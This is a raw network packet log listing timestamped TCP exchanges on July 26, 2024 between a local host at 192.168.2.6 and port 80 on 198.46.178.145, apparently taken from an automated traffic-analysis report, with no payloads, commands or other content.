Jul 26, 2024 11:27:08.595088959 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.595096111 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.595105886 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.595110893 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.595160007 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.595160007 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.678347111 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.678356886 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.678394079 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.678405046 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.678412914 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.678427935 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.678436041 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.678452015 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.678459883 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.678473949 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.678487062 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.678936005 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.678967953 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.678976059 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.678985119 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.679004908 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.679014921 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.679065943 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.679074049 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.679085970 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.679121971 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.679472923 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.679481030 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.679497004 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.679506063 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.679516077 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.679523945 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.679533958 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.679538965 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.679549932 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.679554939 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.679564953 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.679591894 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.679605007 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.680592060 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.680599928 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.680614948 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.680656910 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.680656910 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.680680990 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.680689096 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.680730104 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.697711945 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.697740078 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.697762966 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.697778940 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.697792053 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.697808027 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.697817087 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.697834015 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.697849989 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.697858095 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.697865963 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.697890043 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.697896957 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.697909117 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.697932005 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.697951078 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.697968960 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.697977066 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.697992086 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.697999954 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.698014021 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.698030949 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.698036909 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.698055983 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.698066950 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.698252916 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.698262930 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.698273897 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.698307991 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.698431015 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.698440075 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.698451996 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.698467016 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.698477030 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.698486090 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.698494911 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.698499918 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.698508978 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.698523998 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.698529005 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.698560953 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.698569059 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.698584080 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.698607922 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.698795080 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.698806047 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.698816061 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.698829889 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.698839903 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.698847055 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.698858976 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.698863983 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.698877096 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.698880911 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.698892117 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.698896885 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.698908091 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.698914051 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.698924065 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.698930979 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.698944092 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.698949099 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.698961020 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.698965073 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.698972940 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.698987961 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.698999882 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.699006081 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.699012995 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.699023962 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.699033976 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.699043989 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.699054003 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.699060917 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.699070930 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.699076891 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.699091911 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.699105978 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.699914932 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.699923992 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.699939013 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.699949026 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.699955940 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.699966908 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.699975014 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.699990034 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.699995041 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700006962 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700012922 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700022936 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700031042 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700037956 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700045109 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700053930 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700062990 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700068951 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700078964 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700083017 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700095892 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700100899 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700112104 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700118065 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700129032 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700134993 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700144053 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700150013 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700165033 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700169086 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700181961 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700186014 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700196981 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700201988 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700213909 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700222015 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700232029 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700238943 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700251102 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700256109 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700267076 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700272083 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700283051 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700289011 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700299978 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700305939 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700323105 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700340033 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700512886 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700522900 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700537920 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700546026 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700560093 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700562954 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700581074 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700586081 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700598001 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700602055 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700614929 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700620890 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700633049 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700638056 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700649023 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700653076 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700664997 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700669050 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700680971 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700685978 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700695992 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.700701952 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700712919 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.700735092 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.769181967 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.769192934 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.769212008 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.769239902 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.769270897 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.769984961 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.769996881 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.770011902 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.770030022 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.770034075 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.770054102 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.770057917 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.770095110 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.770128012 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.770142078 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.770163059 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.770168066 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.770179987 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.770199060 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.770205975 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.770217896 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.770231962 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.770241976 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.770253897 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.770267963 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.770279884 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.770292044 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.770303965 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.770328045 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.770945072 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.770956993 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.770972013 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.771004915 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.771020889 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.788147926 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.788201094 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.788208008 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.788224936 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.788235903 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.788245916 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.788263083 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.788276911 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.788299084 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.788305998 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.788340092 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.788352013 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.788364887 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.788382053 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.788388014 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.788408041 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.788433075 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.788574934 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.788588047 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.788604021 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.788609982 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.788624048 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.788631916 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.788644075 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.788657904 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.788671970 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.788678885 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.788706064 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.788727045 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.788744926 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.788760900 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.788775921 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.788789988 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.788805962 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.788825989 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.789330006 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.789422989 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.789468050 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.789525986 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.789554119 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.789599895 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.789621115 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.789674044 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.789691925 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.789720058 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.789729118 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.789747953 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.789757013 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.789773941 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.789791107 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.789802074 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.789809942 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.789827108 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.789839983 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.789855957 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.789864063 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.789880037 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.789892912 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.789907932 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.789913893 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.789927006 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.789940119 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.789946079 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.789958000 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.789964914 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.789974928 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.789983034 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.789997101 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.790003061 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.790014982 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.790025949 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.790035963 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.790047884 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.790052891 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.790066004 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.790079117 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.790083885 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.790097952 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.790110111 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.790122032 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.790129900 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.790136099 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.790148020 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.790163994 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.790170908 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.790184975 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.790195942 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.790208101 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.790219069 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.790230989 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.790236950 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.790250063 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.790260077 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.790271044 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.790282011 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.790287971 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.790301085 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.790314913 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.790323019 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.790333986 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.790348053 CEST	80	49741	198.46.178.145	192.168.2.6
